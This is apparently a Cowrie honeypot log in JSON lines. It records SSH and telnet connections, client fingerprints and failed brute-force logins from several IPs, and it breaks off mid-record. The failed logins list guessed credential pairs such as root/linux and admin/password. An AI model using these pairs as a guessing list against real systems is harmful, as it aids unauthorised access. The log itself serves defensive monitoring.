{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:42.274287Z","src_ip":"103.27.238.120","session":"f0482aafabc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:42.609571Z","src_ip":"91.92.40.153","session":"e05a572a3be5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:43.086197Z","src_ip":"103.27.238.120","session":"f0482aafabc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:44.359960Z","src_ip":"103.27.238.120","session":"f0482aafabc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":54304,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8aada8eaa51","protocol":"ssh","message":"New connection: 160.187.174.22:54304 (159.203.135.109:22) [session: b8aada8eaa51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:44.665668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:44.696038Z","src_ip":"160.187.174.22","session":"b8aada8eaa51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:44.923457Z","src_ip":"160.187.174.22","session":"b8aada8eaa51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":39790,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf35beae8766","protocol":"ssh","message":"New connection: 91.92.40.153:39790 (10.17.0.5:22) [session: cf35beae8766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:44.992421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:45.381917Z","src_ip":"91.92.40.153","session":"cf35beae8766","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:45.385735Z","src_ip":"91.92.40.153","session":"cf35beae8766","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:45.911878Z","src_ip":"160.187.174.22","session":"b8aada8eaa51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:47.161398Z","src_ip":"160.187.174.22","session":"b8aada8eaa51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:47.297618Z","src_ip":"91.92.40.153","session":"cf35beae8766","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:47.627310Z","src_ip":"139.99.74.35","session":"8fa9754674ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":45952,"dst_ip":"159.203.135.109","dst_port":22,"session":"a58679411903","protocol":"ssh","message":"New connection: 139.99.74.35:45952 (159.203.135.109:22) [session: a58679411903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:47.845786Z"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:49.042870Z","src_ip":"91.92.40.153","session":"cf35beae8766","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":39868,"dst_ip":"10.17.0.5","dst_port":22,"session":"2501dd921aa3","protocol":"ssh","message":"New connection: 91.92.40.153:39868 (10.17.0.5:22) [session: 2501dd921aa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:50.919439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:51.265590Z","src_ip":"91.92.40.153","session":"2501dd921aa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:51.269806Z","src_ip":"91.92.40.153","session":"2501dd921aa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:52.615540Z","src_ip":"139.99.74.35","session":"a58679411903","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":45982,"dst_ip":"159.203.135.109","dst_port":22,"session":"03f942881b81","protocol":"ssh","message":"New connection: 139.99.74.35:45982 (159.203.135.109:22) [session: 03f942881b81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:52.850417Z"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:53.661960Z","src_ip":"91.92.40.153","session":"2501dd921aa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40060,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cf77e340c55","protocol":"telnet","message":"New connection: 170.64.224.25:40060 (159.203.135.109:23) [session: 5cf77e340c55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:54.974216Z"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:55.266858Z","src_ip":"91.92.40.153","session":"2501dd921aa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":59878,"dst_ip":"10.17.0.5","dst_port":22,"session":"471cdbb2075d","protocol":"ssh","message":"New connection: 91.92.40.153:59878 (10.17.0.5:22) [session: 471cdbb2075d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:56.775429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:57.188033Z","src_ip":"91.92.40.153","session":"471cdbb2075d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:57.194751Z","src_ip":"91.92.40.153","session":"471cdbb2075d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:57.669673Z","src_ip":"139.99.74.35","session":"03f942881b81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":42656,"dst_ip":"159.203.135.109","dst_port":22,"session":"999055433ff6","protocol":"ssh","message":"New connection: 139.99.74.35:42656 (159.203.135.109:22) [session: 999055433ff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:57.902818Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:59.847762Z","src_ip":"91.92.40.153","session":"471cdbb2075d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:01.088372Z","src_ip":"91.92.40.153","session":"471cdbb2075d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.885103702545166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:01.749930Z","src_ip":"170.64.224.25","session":"8f0033448368","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":58830,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fbe83e9c574","protocol":"ssh","message":"New connection: 91.92.40.153:58830 (10.17.0.5:22) [session: 2fbe83e9c574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:03.663248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:03.706199Z","src_ip":"91.92.40.153","session":"2fbe83e9c574","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:03.830835Z","src_ip":"91.92.40.153","session":"2fbe83e9c574","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:03.843134Z","src_ip":"139.99.74.35","session":"999055433ff6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":42684,"dst_ip":"159.203.135.109","dst_port":22,"session":"acb21f97c9ec","protocol":"ssh","message":"New connection: 139.99.74.35:42684 (159.203.135.109:22) [session: acb21f97c9ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:04.086873Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:04.860822Z","src_ip":"91.92.40.153","session":"2fbe83e9c574","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:06.244590Z","src_ip":"91.92.40.153","session":"2fbe83e9c574","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:08.854083Z","src_ip":"139.99.74.35","session":"acb21f97c9ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":58650,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d843b5a6b34","protocol":"ssh","message":"New connection: 139.99.74.35:58650 (159.203.135.109:22) [session: 4d843b5a6b34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:09.083290Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":58890,"dst_ip":"10.17.0.5","dst_port":22,"session":"fed16b1d9e3c","protocol":"ssh","message":"New connection: 91.92.40.153:58890 (10.17.0.5:22) [session: fed16b1d9e3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:09.596691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:09.894913Z","src_ip":"91.92.40.153","session":"fed16b1d9e3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:09.899840Z","src_ip":"91.92.40.153","session":"fed16b1d9e3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":33542,"dst_ip":"159.203.135.109","dst_port":22,"session":"c92e76faf480","protocol":"ssh","message":"New connection: 160.187.174.22:33542 (159.203.135.109:22) [session: c92e76faf480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:10.683841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:10.688478Z","src_ip":"160.187.174.22","session":"c92e76faf480","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa